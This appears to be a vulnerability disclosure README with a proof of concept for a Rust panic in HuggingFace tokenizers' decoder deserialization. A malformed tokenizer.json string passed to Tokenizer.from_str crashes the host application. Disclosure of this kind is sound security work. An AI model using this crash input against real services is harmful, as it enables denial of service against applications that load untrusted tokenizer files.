tokenizers-decoder-panic-poc

PoC for: Denial of Service via Rust Panic in HuggingFace tokenizers Decoder Deserialization

Impact: Loading this tokenizer.json file causes an unrecoverable Rust panic (SIGABRT) at decoders/mod.rs:90, crashing any application that uses huggingface/tokenizers.

File: tokenizer.json — contains malformed decoder field that triggers .expect("Helper") panic.

Affected versions: 0.1.0 through latest (0.23.2-dev.0)

Root cause: decoders/mod.rs line 90 uses .expect("Helper") instead of proper ? error handling.

PoC:

from tokenizers import Tokenizer
Tokenizer.from_str('{"decoder":[}}}')
# Result: thread 'main' panicked at tokenizers/src/decoders/mod.rs:90:63:
# "Helper: Error(\"expected value\", line: 1, column: 13)"